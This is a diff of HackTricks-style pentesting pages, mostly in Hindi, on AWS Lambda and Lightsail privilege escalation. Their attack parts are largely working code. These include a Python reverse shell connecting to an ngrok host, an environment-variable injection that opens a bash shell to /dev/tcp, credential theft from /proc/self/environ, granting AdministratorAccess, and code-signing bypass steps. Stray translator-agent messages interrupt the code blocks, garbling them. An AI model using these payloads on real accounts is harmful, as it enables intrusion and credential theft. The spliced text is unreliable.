-शायद उन permissions के साथ आप एक function बना कर उसे URL कॉल करके execute कर सकते हैं... पर मैं इसे टेस्ट करने का तरीका नहीं ढूँढ पाया, इसलिए अगर आप करते हैं तो बताइए!
-
-### Lambda MitM
-
-कुछ lambdas parameters में users से भेजी जा रही **sensitive info receive कर रही होंगी।** यदि उन में से किसी में RCE मिल जाए, तो आप अन्य users जो info भेज रहे हैं उसे exfiltrate कर सकते हैं, इसे देखें:
-
-{{#ref}}
-../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
-{{#endref}}
-
-## References
-
-- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
-- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
-### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing
-
-यदि किसी Lambda function पर code signing लागू है, तो एक attacker जो या तो Code Signing Config (CSC) को हटा सकता है या उसे Warn पर downgrade कर सकता है, वह function पर unsigned code deploy कर सकता है। यह फ़ंक्शन के IAM role या triggers को modify किए बिना integrity protections को bypass कर देता है।
-
-Permissions (one of):
-- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
-- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
-
-Notes:
-- For Path B, you don't need an AWS Signer profile if the CSC policy is set to `WARN` (unsigned artifacts allowed).
-
-Steps (REGION=us-east-1, TARGET_FN=):
-
-Prepare a small payload:
-```bash
-cat > handler.py <<'PY'
-import os, json
-def lambda_handler(event, context):
-return {"pwn": True, "env": list(os.environ)[:6]}
-PY
-zip backdoor.zip handler.py
-```
-Path A) CSC हटाएँ फिर कोड अपडेट करें:
-```bash
-aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
-if [ "$HAS_CSC" -eq 1 ]; then
-aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
-fi
-aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
-# If the handler name changed, also run:
-aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
-```
-Path B) Warn पर डाउनग्रेड करें और कोड अपडेट करें (यदि delete की अनुमति नहीं है):
-```bash
-CSC_ARN=$(aws lambda create-code-signing-config \
---description ht-warn-csc \
---code-signing-policies UntrustedArtifactOnDeployment=WARN \
---query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
-aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
-aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
-# If the handler name changed, also run:
-aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
-```
-Verified.
-
-I will:
-- Translate relevant English text to Hindi.
-- Keep code, hacking technique names, cloud/SaaS platform names (aws, gcp, Workspace, etc.), the words "leak" and "pentesting", links, paths, refs, and all markdown/html tags unchanged.
-- Not modify tags like {#tabs}, {#tab ...}, {#ref}, or include paths.
-- Output only the translated markdown content and nothing extra.
-
-Please provide the file content to translate.
-```bash
-aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
-cat /tmp/out.json
-```
-संभावित प्रभाव: signed deployments लागू करने वाला माना गया function में arbitrary unsigned code को push और run करने की क्षमता, जो संभावित रूप से function role की permissions के साथ code execution की ओर ले जा सकती है।
-
-सफाई:
-```bash
-aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
-```
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md
new file mode 100644
index 000000000..72fdc104e
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md
@@ -0,0 +1,321 @@
+# AWS - Lambda Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## lambda
+
+More info about lambda in:
+
+{{#ref}}
+../../aws-services/aws-lambda-enum.md
+{{#endref}}
+
+### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
+
+जिन उपयोगकर्ताओं के पास **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction`** permissions हैं, वे अपनी privileges escalate कर सकते हैं।\
+वे **एक नया Lambda function बना सकते हैं और उसे किसी मौजूदा IAM role को असाइन कर सकते हैं**, जिससे उस function को उस role से जुड़ी permissions मिल जाती हैं। उपयोगकर्ता फिर इस Lambda function में **code लिखकर और upload करके (उदाहरण के लिए rev shell के साथ)** दे सकता है।\
+एक बार function सेटअप हो जाने पर, उपयोगकर्ता इसके execution को **trigger** कर सकता है और AWS API के माध्यम से Lambda function को invoke करके इच्छित क्रियाएं करवा सकता है। यह तरीका प्रभावी रूप से उपयोगकर्ता को Lambda function के जरिए अप्रत्यक्ष रूप से काम करने की अनुमति देता है, उस IAM role को दिए गए access स्तर के साथ जो उससे जुड़ा होता है।\\
+
+एक attacker इसका दुरुपयोग करके **rev shell प्राप्त कर सकता है और token चुरा सकता है**:
+```python:rev.py
+import socket,subprocess,os,time
+def lambda_handler(event, context):
+s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
+s.connect(('4.tcp.ngrok.io',14305))
+os.dup2(s.fileno(),0)
+os.dup2(s.fileno(),1)
+os.dup2(s.fileno(),2)
+p=subprocess.call(['/bin/sh','-i'])
+time.sleep(900)
+return 0
+```
+
+```bash
+# Zip the rev shell
+zip "rev.zip" "rev.py"
+
+# Create the function
+aws lambda create-function --function-name my_function \
+--runtime python3.9 --role  \
+--handler rev.lambda_handler --zip-file fileb://rev.zip
+
+# Invoke the function
+aws lambda invoke --function-name my_function output.txt
+## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL
+
+# List roles
+aws iam list-attached-user-policies --user-name 
+```
+आप lambda function से ही **abuse the lambda role permissions** भी कर सकते हैं.\
+यदि lambda role के पास पर्याप्त permissions हों तो आप इसका उपयोग अपने लिए admin rights देने के लिए कर सकते हैं:
+```python
+import boto3
+def lambda_handler(event, context):
+client = boto3.client('iam')
+response = client.attach_user_policy(
+UserName='my_username',
+PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
+)
+return response
+```
+बाहरी कनेक्शन की आवश्यकता के बिना lambda's role credentials को leak करना भी संभव है। यह internal tasks पर उपयोग होने वाले **Network isolated Lambdas** के लिए उपयोगी होगा। यदि कोई unknown security groups आपके reverse shells को फ़िल्टर कर रहे हैं, तो यह कोड का टुकड़ा आपको सीधे lambda के आउटपुट के रूप में credentials leak करने की अनुमति देगा।
+```python
+def handler(event, context):
+sessiontoken = open('/proc/self/environ', "r").read()
+return {
+'statusCode': 200,
+'session': str(sessiontoken)
+}
+```
+
+```bash
+aws lambda invoke --function-name  output.txt
+cat output.txt
+```
+**संभावित प्रभाव:** निर्दिष्ट किसी भी lambda service role पर सीधे privesc।
+
+> [!CAUTION]
+> ध्यान दें कि भले ही यह रोचक लग सकता है, **`lambda:InvokeAsync`** **नहीं** स्वयं में **`aws lambda invoke-async` को निष्पादित करने** की अनुमति देता; आपको `lambda:InvokeFunction` भी चाहिए।
+
+### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
+
+पिछले परिदृश्य की तरह, आप **स्वयं को `lambda:InvokeFunction` प्रदान कर सकते हैं** यदि आपके पास **`lambda:AddPermission`** अनुमति है।
+```bash
+# Check the previous exploit and use the following line to grant you the invoke permissions
+aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
+--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
+```
+**Potential Impact:** निर्दिष्ट किसी भी lambda service role पर प्रत्यक्ष privesc।
+
+### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
+
+जिन उपयोगकर्ताओं के पास **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** अनुमतियाँ हैं (और संभवतः `dynamodb:PutItem` और `dynamodb:CreateTable`), वे `lambda:InvokeFunction` के बिना भी अप्रत्यक्ष रूप से **escalate privileges** कर सकते हैं।\
+वे एक **Lambda function में दुर्भावनापूर्ण कोड डालकर और इसे किसी मौजूदा IAM role को असाइन करके** बना सकते हैं।
+
+Lambda को सीधे invoke करने के बजाय, उपयोगकर्ता एक मौजूदा DynamoDB table सेटअप करता है या उपयोग करता है, और इसे event source mapping के माध्यम से Lambda से लिंक करता है। यह सेटअप सुनिश्चित करता है कि तालिका में एक नया आइटम दर्ज होते ही Lambda function **स्वचालित रूप से ट्रिगर हो** — चाहे वह आइटम उपयोगकर्ता की कार्रवाई से हो या किसी अन्य प्रक्रिया से — इस तरह Lambda function अप्रत्यक्ष रूप से invoke होता है और पास किए गए IAM role की permissions के साथ कोड execute करता है।
+```bash
+aws lambda create-function --function-name my_function \
+--runtime python3.8 --role  \
+--handler lambda_function.lambda_handler \
+--zip-file fileb://rev.zip
+```
+यदि DynamoDB पहले से AWS पर्यावरण में सक्रिय है, तो उपयोगकर्ता को केवल Lambda फ़ंक्शन के लिए **event source mapping स्थापित करने की आवश्यकता** है। हालांकि, यदि DynamoDB उपयोग में नहीं है, तो उपयोगकर्ता को **एक नया table बनाना** होगा जिसमें स्ट्रीमिंग सक्षम हो:
+```bash
+aws dynamodb create-table --table-name my_table \
+--attribute-definitions AttributeName=Test,AttributeType=S \
+--key-schema AttributeName=Test,KeyType=HASH \
+--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
+--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
+```
+अब **Lambda function को DynamoDB table से कनेक्ट करना** **event source mapping बनाकर** संभव है:
+```bash
+aws lambda create-event-source-mapping --function-name my_function \
+--event-source-arn  \
+--enabled --starting-position LATEST
+```
+Lambda function के DynamoDB stream से linked होने पर attacker **DynamoDB stream को सक्रिय करके Lambda को अप्रत्यक्ष रूप से ट्रिगर कर सकता है**। यह DynamoDB table में **आइटम डालकर** किया जा सकता है:
+```bash
+aws dynamodb put-item --table-name my_table \
+--item Test={S="Random string"}
+```
+**Potential Impact:** निर्दिष्ट lambda service role पर सीधे privesc।
+
+### `lambda:AddPermission`
+
+इस permission वाले attacker **खुद को (या दूसरों को) कोई भी permissions दे सकता है** (यह resource based policies बनाता है जो resource तक access प्रदान करती हैं):
+```bash
+# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
+aws lambda add-permission --function-name  --statement-id asdasd --action '*' --principal arn:
+
+# Invoke the function
+aws lambda invoke --function-name  /tmp/outout
+```
+**संभावित प्रभाव:** कोड को संशोधित करने और चलाने की अनुमति देकर lambda service role पर सीधे privesc।
+
+### `lambda:AddLayerVersionPermission`
+
+एक हमलावर जिसके पास यह अनुमति है वह **खुद को (या दूसरों को) अनुमति `lambda:GetLayerVersion` दे सकता है**। वह layer तक पहुँचकर कमजोरियों या संवेदनशील जानकारी की खोज कर सकता है।
+```bash
+# Give everyone the permission lambda:GetLayerVersion
+aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
+```
+**Potential Impact:** संवेदनशील जानकारी तक संभावित पहुँच।
+
+### `lambda:UpdateFunctionCode`
+
+जो उपयोगकर्ता **`lambda:UpdateFunctionCode`** permission रखते हैं, उनके पास उस मौजूदा Lambda फ़ंक्शन के कोड को बदलने की क्षमता होती है जो किसी IAM role से जुड़ा हुआ है।\
+हमलावर **Lambda के कोड को बदलकर IAM credentials को exfiltrate कर सकता है।**
+
+हालाँकि हमलावर के पास सीधे उस फ़ंक्शन को invoke करने की क्षमता न हो, यदि Lambda फ़ंक्शन पहले से मौजूद और कार्यरत है, तो यह संभव है कि यह मौजूदा वर्कफ़्लोज़ या इवेंट्स के माध्यम से trigger हो जाए, जिससे बदले गए कोड के निष्पादन में अप्रत्यक्ष रूप से मदद मिलती है।
+```bash
+# The zip should contain the lambda code (trick: Download the current one and add your code there)
+aws lambda update-function-code --function-name target_function \
+--zip-file fileb:///my/lambda/code/zipped.zip
+
+# If you have invoke permissions:
+aws lambda invoke --function-name my_function output.txt
+
+# If not check if it's exposed in any URL or via an API gateway you could access
+```
+**Potential Impact:** इस्तेमाल किए गए lambda service role पर सीधा privesc।
+
+### `lambda:UpdateFunctionConfiguration`
+
+#### RCE env variables के जरिए
+
+इन permissions के साथ environment variables जोड़ना संभव है जो Lambda को मनमाना कोड चलाने का कारण बनेंगे। उदाहरण के लिए python में environment variables `PYTHONWARNING` और `BROWSER` का दुरुपयोग करके किसी python process को मनमाना commands execute करवाया जा सकता है:
+```bash
+aws --profile none-priv lambda update-function-configuration --function-name  --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
+```
+अन्य scripting languages के लिए उपयोग करने योग्य अन्य env variables हैं। अधिक जानकारी के लिए scripting languages के उपखंड देखें:
+
+{{#ref}}
+https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
+{{#endref}}
+
+#### RCE via Lambda Layers
+
+[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) आपको आपके lamdba function में **code** शामिल करने की अनुमति देता है, लेकिन इसे अलग से स्टोर करके, ताकि function code छोटा रह सके और **several functions can share code**।
+
+lambda के अंदर आप उन paths को देख सकते हैं जहाँ से python code लोड होता है, नीचे दिए गए function की तरह:
+```python
+import json
+import sys
+
+def lambda_handler(event, context):
+print(json.dumps(sys.path, indent=2))
+```
+These are the places:
+
+1. /var/task
+2. /opt/python/lib/python3.7/site-packages
+3. /opt/python
+4. /var/runtime
+5. /var/lang/lib/python37.zip
+6. /var/lang/lib/python3.7
+7. /var/lang/lib/python3.7/lib-dynload
+8. /var/lang/lib/python3.7/site-packages
+9. /opt/python/lib/python3.7/site-packages
+10. /opt/python
+
+उदाहरण के लिए, लाइब्रेरी boto3 `/var/runtime/boto3` से लोड होती है (4th position).
+
+#### Exploitation
+
+आप permission `lambda:UpdateFunctionConfiguration` का दुरुपयोग करके किसी lambda function में **नई layer जोड़** सकते हैं। किसी भी कोड को निष्पादित करने के लिए, इस layer में कुछ ऐसा **library होना चाहिए जिसे lambda import करने वाला है।** यदि आप lambda का code पढ़ सकते हैं, तो आप इसे आसानी से ढूंढ सकते हैं। ध्यान दें कि संभव है कि lambda पहले से ही किसी layer का **उपयोग कर रहा** हो और आप उस layer को **डाउनलोड** करके उसमें **अपना code जोड़** सकें।
+
+उदाहरण के लिए, मान लीजिए कि lambda लाइब्रेरी boto3 का उपयोग कर रहा है, तो यह लाइब्रेरी के नवीनतम संस्करण के साथ एक स्थानीय layer बनाएगा:
+```bash
+pip3 install -t ./lambda_layer boto3
+```
+आप `./lambda_layer/boto3/__init__.py` खोल सकते हैं और **add the backdoor in the global code** (a function to exfiltrate credentials or get a reverse shell for example).
+
+फिर, उस `./lambda_layer` डायरेक्टरी को zip करें और **upload the new lambda layer** अपने खाते में (या victims के खाते में, लेकिन आपके पास इसके लिए permissions नहीं हो सकती हैं).\
+ध्यान दें कि आपको एक python folder बनाना होगा और लाइब्रेरीज़ वहाँ रखनी होंगी ताकि /opt/python/boto3 को ओवरराइड किया जा सके। इसके अलावा, layer को lambda द्वारा उपयोग की जाने वाली **compatible with the python version** होना चाहिए और अगर आप इसे अपने खाते में अपलोड करते हैं, तो यह **same region:** में होना चाहिए।
+```bash
+aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
+```
+अब अपलोड की गई lambda layer को **किसी भी खाते द्वारा पहुँच योग्य** बनाएं:
+```bash
+aws lambda add-layer-version-permission --layer-name boto3 \
+--version-number 1 --statement-id public \
+--action lambda:GetLayerVersion --principal *
+```
+और lambda layer को victim lambda function में जोड़ें:
+```bash
+aws lambda update-function-configuration \
+--function-name  \
+--layers arn:aws:lambda:::layer:boto3:1 \
+--timeout 300 #5min for rev shells
+```
+अगला कदम या तो अगर संभव हो तो खुद से **invoke the function** करना होगा या सामान्य तरीकों से इसके **invoke होने** तक इंतज़ार करना — जो कि अधिक सुरक्षित तरीका है।
+
+A **more stealth way to exploit this vulnerability** can be found in:
+
+{{#ref}}
+../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
+{{#endref}}
+
+**Potential Impact:** उपयोग किए गए lambda service role पर direct privesc।
+
+### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
+
+शायद इन permissions के साथ आप एक function बना कर उसे URL को कॉल करके execute कर पाएँ... पर मैं इसे टेस्ट करने का तरीका खोज नहीं पाया, तो अगर आप कर पाते हैं तो मुझे बताइए!
+
+### Lambda MitM
+
+कुछ lambdas parameters में users से **sensitive info प्राप्त कर रहे होंगे।** अगर उनमें से किसी में RCE मिल जाए तो आप उन अन्य users द्वारा भेजी जा रही info को exfiltrate कर सकते हैं, इसे देखें:
+
+{{#ref}}
+../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
+{{#endref}}
+
+## References
+
+- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
+- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing
+
+यदि कोई Lambda function code signing लागू करता है, तो एक attacker जो या तो Code Signing Config (CSC) को हटा सके या उसे Warn पर downgrade कर सके, unsigned code को function में deploy कर सकता है। यह integrity protections को bypass करता है बिना function के IAM role या triggers को modify किए।
+
+Permissions (one of):
+- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
+- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
+
+Notes:
+- For Path B, you don't need an AWS Signer profile if the CSC policy is set to `WARN` (unsigned artifacts allowed).
+
+Steps (REGION=us-east-1, TARGET_FN=):
+
+Prepare a small payload:
+```bash
+cat > handler.py <<'PY'
+import os, json
+def lambda_handler(event, context):
+return {"pwn": True, "env": list(os.environ)[:6]}
+PY
+zip backdoor.zip handler.py
+```
+पाथ A) CSC हटाएँ, फिर कोड अपडेट करें:
+```bash
+aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
+if [ "$HAS_CSC" -eq 1 ]; then
+aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
+fi
+aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
+# If the handler name changed, also run:
+aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
+```
+Path B) Warn पर डाउनग्रेड करें और कोड अपडेट करें (यदि हटाने की अनुमति नहीं है):
+```bash
+CSC_ARN=$(aws lambda create-code-signing-config \
+--description ht-warn-csc \
+--code-signing-policies UntrustedArtifactOnDeployment=WARN \
+--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
+aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
+aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
+# If the handler name changed, also run:
+aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
+```
+Verified. मैं src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md में मौजूद प्रासंगिक अंग्रेज़ी टेक्स्ट का हिंदी में अनुवाद करूँगा, साथ ही निम्न बातों का पालन करूँगा:
+- Markdown/HTML syntax बिल्कुल वैसा ही रहेंगे।
+- कोड, hacking technique names, सामान्य hacking शब्द, cloud/SaaS platform नाम (जैसे Workspace, aws, gcp...), "leak", pentesting, links और paths अनुवादित नहीं होंगे।
+- tags, refs और paths (जैसे {#tabs}, {#tab name="Method1"}, {#ref}...) जैसे मूल रूप में रहने चाहिए।
+- मैं कोई अतिरिक्त सामग्री नहीं जोड़ूँगा और Unicode मान्य रखूँगा।
+```bash
+aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
+cat /tmp/out.json
+```
+संभावित प्रभाव: उस फ़ंक्शन में मनमाना बिना-साइन किए गए कोड को push और रन करने की क्षमता, जो साइन किए गए deployments को लागू करने के लिए बनी थी — संभावित रूप से फ़ंक्शन रोल की अनुमतियों के साथ कोड निष्पादन की ओर ले जा सकती है।
+
+सफाई:
+```bash
+aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
+```
+
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
deleted file mode 100644
index cb243fcf0..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
+++ /dev/null
@@ -1,134 +0,0 @@
-# AWS - Lightsail Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Lightsail
-
-Lightsail के बारे में अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-lightsail-enum.md
-{{#endref}}
-
-> [!WARNING]
-> यह ध्यान रखना महत्वपूर्ण है कि Lightsail **उपयोगकर्ता के IAM भूमिकाओं का उपयोग नहीं करता** बल्कि एक AWS प्रबंधित खाते का, इसलिए आप इस सेवा का दुरुपयोग प्रिवेस्क के लिए नहीं कर सकते। हालाँकि, **संवेदनशील डेटा** जैसे कोड, API कुंजी और डेटाबेस जानकारी इस सेवा में मिल सकती है।
-
-### `lightsail:DownloadDefaultKeyPair`
-
-यह अनुमति आपको उदाहरणों तक पहुँचने के लिए SSH कुंजी प्राप्त करने की अनुमति देगी:
-```
-aws lightsail download-default-key-pair
-```
-**संभावित प्रभाव:** इंस्टेंस के अंदर संवेदनशील जानकारी खोजें।
-
-### `lightsail:GetInstanceAccessDetails`
-
-यह अनुमति आपको इंस्टेंस तक पहुँचने के लिए SSH कुंजी उत्पन्न करने की अनुमति देगी:
-```bash
-aws lightsail get-instance-access-details --instance-name 
-```
-**संभावित प्रभाव:** इंस्टेंस के अंदर संवेदनशील जानकारी खोजें।
-
-### `lightsail:CreateBucketAccessKey`
-
-यह अनुमति आपको बकेट तक पहुँचने के लिए एक कुंजी प्राप्त करने की अनुमति देगी:
-```bash
-aws lightsail create-bucket-access-key --bucket-name 
-```
-**संभावित प्रभाव:** बकेट के अंदर संवेदनशील जानकारी खोजें।
-
-### `lightsail:GetRelationalDatabaseMasterUserPassword`
-
-यह अनुमति आपको डेटाबेस तक पहुँचने के लिए क्रेडेंशियल प्राप्त करने की अनुमति देगी:
-```bash
-aws lightsail get-relational-database-master-user-password --relational-database-name 
-```
-**संभावित प्रभाव:** डेटाबेस के अंदर संवेदनशील जानकारी खोजें।
-
-### `lightsail:UpdateRelationalDatabase`
-
-यह अनुमति आपको डेटाबेस तक पहुँचने के लिए पासवर्ड बदलने की अनुमति देगी:
-```bash
-aws lightsail update-relational-database --relational-database-name  --master-user-password 
-```
-यदि डेटाबेस सार्वजनिक नहीं है, तो आप इन अनुमतियों के साथ इसे सार्वजनिक भी बना सकते हैं।
-```bash
-aws lightsail update-relational-database --relational-database-name  --publicly-accessible
-```
-**संभावित प्रभाव:** डेटाबेस के अंदर संवेदनशील जानकारी खोजें।
-
-### `lightsail:OpenInstancePublicPorts`
-
-यह अनुमति इंटरनेट पर पोर्ट खोलने की अनुमति देती है।
-```bash
-aws lightsail open-instance-public-ports \
---instance-name MEAN-2 \
---port-info fromPort=22,protocol=TCP,toPort=22
-```
-**संभावित प्रभाव:** संवेदनशील पोर्ट्स तक पहुँच।
-
-### `lightsail:PutInstancePublicPorts`
-
-यह अनुमति इंटरनेट पर पोर्ट खोलने की अनुमति देती है। ध्यान दें कि कॉल किसी भी पोर्ट को बंद कर देगी जो इसमें निर्दिष्ट नहीं है।
-```bash
-aws lightsail put-instance-public-ports \
---instance-name MEAN-2 \
---port-infos fromPort=22,protocol=TCP,toPort=22
-```
-**संभावित प्रभाव:** संवेदनशील पोर्ट्स तक पहुँच।
-
-### `lightsail:SetResourceAccessForBucket`
-
-यह अनुमति एक इंस्टेंस को बिना किसी अतिरिक्त क्रेडेंशियल के एक बकेट तक पहुँच देने की अनुमति देती है।
-```bash
-aws set-resource-access-for-bucket \
---resource-name  \
---bucket-name  \
---access allow
-```
-**संभावित प्रभाव:** संवेदनशील जानकारी वाले बकेट्स तक संभावित नई पहुंच।
-
-### `lightsail:UpdateBucket`
-
-इस अनुमति के साथ एक हमलावर अपने AWS खाते को बकेट्स पर पढ़ने की पहुंच दे सकता है या यहां तक कि बकेट्स को सभी के लिए सार्वजनिक बना सकता है:
-```bash
-# Grant read access to exterenal account
-aws update-bucket --bucket-name  --readonly-access-accounts 
-
-# Grant read to the public
-aws update-bucket --bucket-name  --access-rules getObject=public,allowPublicOverrides=true
-
-# Bucket private but single objects can be public
-aws update-bucket --bucket-name  --access-rules getObject=private,allowPublicOverrides=true
-```
-**संभावित प्रभाव:** संवेदनशील जानकारी वाले बकेट्स तक संभावित नई पहुंच।
-
-### `lightsail:UpdateContainerService`
-
-इन अनुमतियों के साथ, एक हमलावर कंटेनर सेवा से निजी ECRs तक पहुंच प्रदान कर सकता है।
-```bash
-aws update-container-service \
---service-name  \
---private-registry-access ecrImagePullerRole={isActive=boolean}
-```
-**संभावित प्रभाव:** निजी ECR से संवेदनशील जानकारी प्राप्त करें
-
-### `lightsail:CreateDomainEntry`
-
-इस अनुमति के साथ एक हमलावर उपडोमेन बना सकता है और इसे अपने स्वयं के IP पते की ओर इंगित कर सकता है (उपडोमेन अधिग्रहण), या एक SPF रिकॉर्ड तैयार कर सकता है जो उसे डोमेन से ईमेल धोखा देने की अनुमति देता है, या यहां तक कि मुख्य डोमेन को अपने स्वयं के IP पते पर सेट कर सकता है।
-```bash
-aws lightsail create-domain-entry \
---domain-name example.com \
---domain-entry name=dev.example.com,type=A,target=192.0.2.0
-```
-**संभावित प्रभाव:** एक डोमेन का अधिग्रहण
-
-### `lightsail:UpdateDomainEntry`
-
-इस अनुमति के साथ एक हमलावर उपडोमेन बना सकता है और इसे अपने स्वयं के IP पते की ओर इंगित कर सकता है (उपडोमेन अधिग्रहण), या एक SPF रिकॉर्ड तैयार कर सकता है जो उसे डोमेन से ईमेल धोखा देने की अनुमति देता है, या यहां तक कि मुख्य डोमेन को अपने स्वयं के IP पते पर सेट कर सकता है।
-```bash
-aws lightsail update-domain-entry \
---domain-name example.com \
---domain-entry name=dev.example.com,type=A,target=192.0.2.0
-```
-**संभावित प्रभाव:** एक डोमेन का अधिग्रहण
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md
new file mode 100644
index 000000000..594912651
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md
@@ -0,0 +1,136 @@
+# AWS - Lightsail Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Lightsail
+
+For more information about Lightsail check:
+
+{{#ref}}
+../../aws-services/aws-lightsail-enum.md
+{{#endref}}
+
+> [!WARNING]
+> यह ध्यान रखना महत्वपूर्ण है कि Lightsail **उपयोगकर्ता के IAM roles का उपयोग नहीं करता** बल्कि यह एक AWS managed account के लिए है, इसलिए आप इस सर्विस का दुरुपयोग करके privesc नहीं कर सकते। हालांकि, इस सर्विस में code, API keys और database info जैसी **संवेदनशील जानकारी** मिल सकती है।
+
+### `lightsail:DownloadDefaultKeyPair`
+
+This permission will allow you to get the SSH keys to access the instances:
+```
+aws lightsail download-default-key-pair
+```
+**संभावित प्रभाव:** instances के अंदर संवेदनशील जानकारी मिल सकती है।
+
+### `lightsail:GetInstanceAccessDetails`
+
+यह अनुमति आपको instances तक पहुँचने के लिए SSH keys जनरेट करने की अनुमति देगी:
+```bash
+aws lightsail get-instance-access-details --instance-name 
+```
+**संभावित प्रभाव:** instances के अंदर संवेदनशील जानकारी खोजें।
+
+### `lightsail:CreateBucketAccessKey`
+
+यह permission आपको bucket तक access करने के लिए एक key प्राप्त करने की अनुमति देगा:
+```bash
+aws lightsail create-bucket-access-key --bucket-name 
+```
+**संभावित प्रभाव:** बकेट के अंदर संवेदनशील जानकारी ढूँढें।
+
+### `lightsail:GetRelationalDatabaseMasterUserPassword`
+
+यह अनुमति आपको database तक पहुँचने के लिए credentials प्राप्त करने देगी:
+```bash
+aws lightsail get-relational-database-master-user-password --relational-database-name 
